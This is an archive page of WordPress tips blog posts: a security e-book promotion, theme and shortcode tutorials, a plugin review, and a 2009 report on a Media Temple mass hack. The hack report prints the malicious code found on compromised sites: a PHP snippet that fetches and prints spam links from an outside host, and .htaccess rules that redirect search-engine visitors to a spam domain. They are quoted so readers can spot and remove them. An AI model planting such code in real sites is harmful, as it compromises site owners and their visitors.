Digging into WordPress » Links

WordPress Defender: 30 Ways to Secure Your Website

Jeff Starr — Sun, 28 Feb 2010 18:20:35 +0000

Looking for a good book on WordPress security? If so, we’ve got great news! John Hoff’s new security e-book WordPress Defender provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually any WordPress user can use to protect their site from malicious threats.

The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.

Here are some of the highlights of WordPress Defender:

Essential best practices
Kick-ass security plugins
Creating tripwires with htaccess
How to hide sensitive information
How to setup and connect with SSL

..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John’s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get WordPress Defender.

Special 50% discount on the e-book today through March 3rd!

Remove Title from Blogroll

Chris Coyier — Wed, 02 Dec 2009 17:16:20 +0000

Typically when you use one of WordPress functions to output a list of “stuff” from WordPress, you can pass a parameter to eliminate the “title” that WordPress likes to put in there by default. For example, with wp_list_categories you pass along “title_li=” with nothing after the equals sign to remove the title that normally accompanies the output. With the function to output links (e.g. blogroll), you use the function wp_list_bookmarks, but unfortunately using that same parameter the same way is ineffective at removing the title.

Quick Fix

Pass the categorize parameter (blank) in addition to the title_li parameter (blank) and you’ll be set!

Media Temple, WordPress, Mass Hacking

Chris Coyier — Thu, 26 Nov 2009 14:47:12 +0000

Update: Media Temple is saying that:

They aren’t 100% sure the cause, but yes, it is their fault.
About 10% of all (gs) users were affected.
It’s not WordPress specific, it’s PHP specific.
Definitely change your passwords, definitely don’t change it back to the original password.

A number of people (Michael Torbert, Kyle Brady, Jeffrey Barke, Adrian Hanft) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:

Dear Valued Customer,

This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.

When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. In poking around a bit, it doesn’t look like Digging Into WordPress was affected. Thank god…

Some of the facts I’m seeing around:

The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)
It may be a result of passwords being stored/sent in plain text
Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites.
Some folks are blaming Media Temple, others blaming WordPress

Files to check on your own sites

index.php

Which evaluates to this:

$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;

Links are being inserted into the page before the tag:

.htaccess

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

.nfs* (unnamed file in root of server)

Fixing It

We weren’t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)

WP Typo Abound!

Chris Coyier — Sun, 01 Nov 2009 19:14:57 +0000

The month of November is National Novel Writing Month (or #NaNoWriMo). Joel Goodman is participating and thought that the WP Typo theme would be a good fit for it. Joel has expanded upon theme, offering an options page with various different typography choices, better integrated site registration, and some design tweaks. It is now called Modern Linguist and is available on his site for free download.

There has been a few other things people have done for WP Typo, so I thought now would be a good opportunity to share them.

Grib has added i18n support (.mo files) and a Russian translation here.
Jussi Linkola has released a Finish version here.
Mijk has released a patch for the theme that includes widgetization and the use of Cufon to show the font jGaramond. (Regular Garamond isn’t really one of the “web safe” fonts). That patch is available here.
Hassan Derakhshandeh has released an RTL (right to left text) version here.

Easy Shortcode Permalinks

Chris Coyier — Mon, 28 Sep 2009 15:33:30 +0000

When you are building a theme, and the circumstance comes up where you need to create a link to a specific page hard-baked right into the theme, there is a function you should be using.

Not great:

Contact

Much better:

Contact

That “12″ would be the ID of the Post or Page. Why is this better?

If the slug ever changes, you are still cool.
If the site moves from a subdomain (like if you were developing and then moving) to a top level domain or vice versa, you are still cool.

Doing it this way is a permanent reference to that Post or Page that will never change. This works great when we are working within our theme files, but what about when we are working within WordPress and actually writing Posts and Pages?

By default, we can’t run PHP within the content of our Posts and Pages, so we can’t use the get_permalink function. What we can do, is create a shortcode with just about the same functionality. And here it is:

function permalink_thingy($atts) {
	extract(shortcode_atts(array(
		'id' => 1,
		'text' => ""  // default value if none supplied
    ), $atts));
    
    if ($text) {
        $url = get_permalink($id);
        return "$text";
    } else {
	   return get_permalink($id);
	}
}
add_shortcode('permalink', 'permalink_thingy');

This shortcode can be used in two ways:

Basic:

Using without providing text

This way you only provide the id parameter and it only returns a URL. This was you can use that URL however you want. For example, if you needed to add a special class name to the link or something (but only occasionally).

Providing text:

[permalink id=49 text='providing text']

This way returns a fully formatted anchor link back, using the text you pass.

How to Implement Tumblr-Style Links for Posts and Feeds

Jeff Starr — Mon, 07 Sep 2009 06:11:30 +0000

Since posting the DiW tutorial on designing a Tumblelog theme for WordPress, several readers have asked for a tutorial on how to setup just the Tumblr/tumblelog-style post links …without having to implement the entire theme.

So in this tutorial, I will extract the tumblelog-link information from the theme tutorial, simplify it, and enhance it to include a link-back function and Tumblr-style post links for your feed items as well. This new, refined version is very clean, requires only three steps, and should work with any version of WordPress. This technique was refined and implemented here at Digging into WordPress about a month ago and has been working great ever since.

At the completion of this tutorial, we will have achieved the following:

Tumblr-style post links — make it easy to add a link to another site and have it appear as the title link for your post
Tumblr-style feed links — have those tumblelog post-title links also appear in your post feeds
Linkback to your post — automatically include the post permalink within the post itself

Here is an example of one these Tumblr-style posts, and here is a whole bunch of them. As you can see, the idea is that you can quickly and easily post about something awesome you found on the Web, and have the title of your post link directly to it. Tumblelog-style, just like on Tumblr.

Sound good? Let’s dig in and get started..

Step 1: add some stuff to your functions.php file

Open your theme’s functions.php file and make some room for the following three functions:

// tumblr-like post titles in posts @ digwp.com
function tumblrPostTitles() { 
	global $post; 
	$permalink = get_permalink(get_post($post->ID));
	$tumblr_keys = get_post_custom_keys($post->ID); 
	if ($tumblr_keys) {
  		foreach ($tumblr_keys as $tumblr_key) {
    			if ($tumblr_key == 'TumblrURL') {
      				$tumblr_vals = get_post_custom_values($tumblr_key);
    			}
  		}
  		if ($tumblr_vals) {
			echo $tumblr_vals[0];
  		} else {
    			echo $permalink;
  		}
	} else {
  		echo $permalink;
	}
}

// tumblr-like post titles in feeds @ digwp.com
add_filter('the_permalink_rss', 'tumblrFeedTitles');
function tumblrFeedTitles($permalink) {
	global $wp_query;
	if ($url = get_post_meta($wp_query->post->ID, 'TumblrURL', true)) {
		return $url;
	}
	return $permalink;
}

// link-back for Tumblr-like posts @ digwp.com
add_filter('the_content', 'tumblrLinkBacks');
function tumblrLinkBacks($content) {
	global $wp_query;
	$post_id = get_post($post->ID);
	$posttitle = $post_id->post_title;
	$permalink = get_permalink(get_post($post->ID));
	if (get_post_meta($wp_query->post->ID, 'TumblrURL', true)) {
		$content .= '∞';
		return $content;
	} else {
		$content = $content;
		return $content;
	}
}

That’s essentially it. Let’s look at what each of these three functions is doing:

tumblrPostTitles — creates the title-link for your tumblelog posts
tumblrFeedTitles — creates the title-link for your tumblelog feed items
tumblrLinkBacks — creates a link back to your tumbelog post
(by default, the linkback looks like this: ∞, but you can easily change it to whatever you want)

For more information on what any of these functions are doing, don’t hesitate to ask in the comments.

Step 2: call the functions with their template tags

With the code in place, pop open your single.php and index.php files and replace each of your permalink template tags:

..with the new ‘tumblrizing’ template tag:

And that’s pretty much it for this step. We don’t need to add any other new tags because the functions are working automagically behind the scenes to filter the necessary data.

Step 3: make it go by posting a tumblr-style link post

With everything in place, go ahead and post something Tumblr-style. It’s almost too straightforward: give it a title, write a description, and use a custom-field of “TumblrURL” for the URL of the post to which you want to link. Nothing more to it — everything else happens automatically :)

Wrap up

Stay tuned, next time we’ll be following up with a super-easy way to implement a custom-link feed designed to work perfectly with this technique. In that tutorial, you’ll learn how to segregate your link feed from your main posts feed while also delivering a complete “everything-included” feed to give your subscribers exactly what they need.

Happy tumbling! :)

Plugin Spotlight: Postalicious

Chris Coyier — Wed, 26 Aug 2009 14:24:30 +0000

The social bookmarking service Delicious has always been friendly with WordPress. In fact, right from the settings of your Delicious account you can set up a blog posting “job” which will literally post your links directly to your blog with no intervention on your part (instructions on that here).

Using this system to post directly from Delicious is kind of neat, but it lacks severely in control. The Post titles aren’t as customizable as you might like, it’s auto-post or nothing, it posts to the default category with the default author, and posts all links on a daily basis. This is where Postalicious comes in.

I really like the idea of blogging through social bookmarks, specifically Delicious. They have a Firefox plugin that makes saving bookmarks with notes and tags extremely easy. I also have a little bookmarklet called Quickbite for when I literally just want to press a button and save the link without being troubled with writing anything. However, I wasn’t thrilled with automatic Delicious posting that is offered.

My friend Richard was in just this position, and was asking me if I knew of any plugins that did good Delicious/WordPress integration. We both went searching around and he came up with Postalicious. I’ve now been using it for a few weeks on my personal blog and I really like it.

Here are some features:

Integration with major services like Delicious, Google Reader, and Reddit
Post to specific categories, by specific authors
Save Posts as drafts
Grab new links at timed intervals and publish at timed intervals
Full HTML control over structure of Post, including Title

Screenshot of settings:

My favorite feature is the draft saving. I like to fine-tune, so I’m kind of opposed to any automatic system publishing things for me. As you can see, new links are put into new drafts, saved, and ready for me to edit and publish on my own:

Cheers to Pablo GÃ³mez Basanta and his great work on Postalicious!

How to Design a Tumblelog Theme for WordPress

Jeff Starr — Mon, 06 Jul 2009 08:24:18 +0000

Tumblelogs are a great way to streamline mixed-media blogging for different types of content. Commonly used tumblelog topics include “Links”, “Photos”, “Quotes”, “Dialogue”, and “Video”. A good tumblelog presents each these different topics with its own unique format while retaining an overall sense of cohesion throughout the entire design.

A good example of this involves the clever way in which titles for “Link-category” posts link to the showcase URL rather than to the post itself. Other post types may be styled with different colors, meta information, and anything else that seems appropriate. Bottom line is that a well-designed tumblelog makes it easy and fun to showcase and organize a wide variety of different content types all in one place.

Although I prefer to tumble via my Tumblr account, I have always wanted to integrate the process into WordPress by designing a tumblelog-style theme. So in this brisk tutorial, that’s exactly what we’re going to do.

The goals of our Tumble Theme are as follows:

Create categories for each content type: Links, Photos, Quotes, Dialogue, and Video
Create unique category, single, and index views for each content type
Make post title links for the Link category point to the showcase URL instead of the post itself
Also provide a link to the post itself (i.e., single view) for posts in the Link category

Sound good? Let’s dig in!

Step 1: Create the tumblelog categories

Hopefully this is a no-brainer for everyone, but if not, just log into the WordPress Admin and do the following:

Navigate to Posts > Categories > Add New
Create categories for each content type: Links, Photos, Quotes, Dialogue, and Video
Make note of the category ID for each category by hovering over the newly created category link in the right-hand column (the category ID will appear at the end of the URL shown in your browser’s status bar — tedious, I know)

Once you have created the categories and have their associated IDs, it’s time to create some template pages!

Step 2: Create the index.php template page

To continue, you will need to setup the basic files needed to create a theme. There are many good theme templates available online, including my recently released H5 Theme, which is written in valid, fully functional HTML 5. Once you have the basic files setup, replace the contents of the index.php file with the following code:


		
			
			ID, 'tumbleLinkURL', true)) : ?>

			
				
					
					Posted on  by 
				
				
					
				
			

			

			
				
					
					Posted on  by 
				
				
					
				
				
					'); ?> Posted in  •  
				
			

			
			
			
				
			
			
			
				Not Found
				Sorry, but the requested resource was not found on this site.

Basically what we are doing with this conditional loop configuration is checking to see if there is a custom-field value set for our Link category titles. There will be two custom fields — tumbleLinkURL and tumbleLinkTitle — used for each post title in the Link category, and we will discuss each of them a little further in the tutorial.

The key here is that, when the custom field is detected as having a value, our conditional loop will process the code for the Link category; otherwise, the standard loop is processed for posts in all other (non-Link) categories.

The other important thing that we are doing here enables us to style the posts for each category in its own unique way. To do this, we are simply adding a class attribute to the outer post element (the

tag in our “H5”-based example). The value of the article class will be the name of the category to which the current post belongs. This enables us to style each different type of post according to the following CSS logic:

.links {}
.photos {}
.quotes {}
.dialogue {}
.video {}

The WordPress code we are using to implement this class-attribute functionality is as follows:

cat_name;
?>

..which is basically getting the list of associated categories as an array and then echoing the first one to the browser (as the class name in our example).

With the index.php file in order, we are ready to setup the unique, topic-specific category pages.

Step 3: Setup the topic-specific category pages

This step is actually a lot easier than it sounds thanks to WordPress’ Template Hierarchy. In the case of categories, the template hierarchy dictates that any file named “category-n.php” (where “n” is a specific category ID) will be processed instead of the default category.php file.

This means that for us to customize each of our five different tumblelog category views, we simply need to create five category template files corresponding to our five category IDs. So, if our five category IDs are 1 through 5, we would create the following theme files:

category-1.php
category-2.php
category-3.php
category-4.php
category-5.php

With these files in place, you are well-equipped to completely customize the category archive views for your five different tumblelog content types. You may wish to start by copying and pasting the code from your regular category.php file, and then modify and customize the code to get the category-specific functionality you desire.

Once this is done, it’s time to move on to the single-post views!

Step 4: Setup the topic-specific single-post views

There are two routes available for this step, depending on the level of customization you desire. The first and easiest way to setup and style customized single-post views (i.e., pages generated via your single.php file) is to take advantage of our previously employed category-specific class attributes. By simply using our dual-loop index.php code, generating custom styles for our single-view pages requires a minimal amount of modification.

The second, more flexible method of implementing category-specific single-post views is to place the place the following code in our theme’s single.php file:

post;
		  if (in_category('1')) {
		include(TEMPLATEPATH . '/single-1.php');
	} elseif (in_category('2')) {
		include(TEMPLATEPATH . '/single-2.php');
	} elseif (in_category('3')) {
		include(TEMPLATEPATH . '/single-3.php');
	} elseif (in_category('4')) {
		include(TEMPLATEPATH . '/single-4.php');
	} elseif (in_category('5')) {
		include(TEMPLATEPATH . '/single-5.php');
	} else {
		include(TEMPLATEPATH . '/single-other.php');
} ?>

Once in place, this code will check the category of the post and deliver it via its own custom single-view template. For example, posts that belong to category-ID 1 (i.e., the Link category) will be generated via the single-1.php file, and so on. This makes it super easy to customize each single-post type in any way imaginable. Of course, don’t forget to create the six “custom-single” files: five for each of our tumblelog topics and and another for posts in all other categories.

So far so good. At this point, we have equipped our Tumble Theme with some great tumblelog functionality. Our final step is to create a few posts and demonstrate how the custom fields operate.

Step 5: Using the custom fields

Now that everything is setup and ready to tumble, it’s time to create a few test posts to ensure that everything is working out as intended. Try creating a post for each of our five categories and check their different views — Index, Category, and Single — in your browser. As you verify your tumblelog functionality, notice that your Link-category posts are still using the post permalink for the title URL. So, for our final stunt, let’s implement a little custom-field magic to transform our Link-category titles into proper showcase links.

For each of your Link-category posts, add the following custom-field key/value pair:

The two custom-field values used for our custom title links

Of course, for each Link-category post, change the value of the tumbleLinkURL and tumbleLinkTitle to match the URL and title attribute for your showcase link. That’s all there is to it! Thanks to the awesome dual-loop setup we implemented in Step 1, your Link-category titles will now point directly to the web page that you are tumbling about.

Wrap-up

Hopefully this tutorial will help those of you wanting to transform your WordPress site into a tumblelog. For the sake of clarity and expediency, I have left most of our Tumble Theme’s markup, styling, and scripting up to you, but all of the essential functionality has been covered. If there is enough interest in this tutorial, I will see about putting together a fully-loaded Tumble Theme for download here at Digging into WordPress!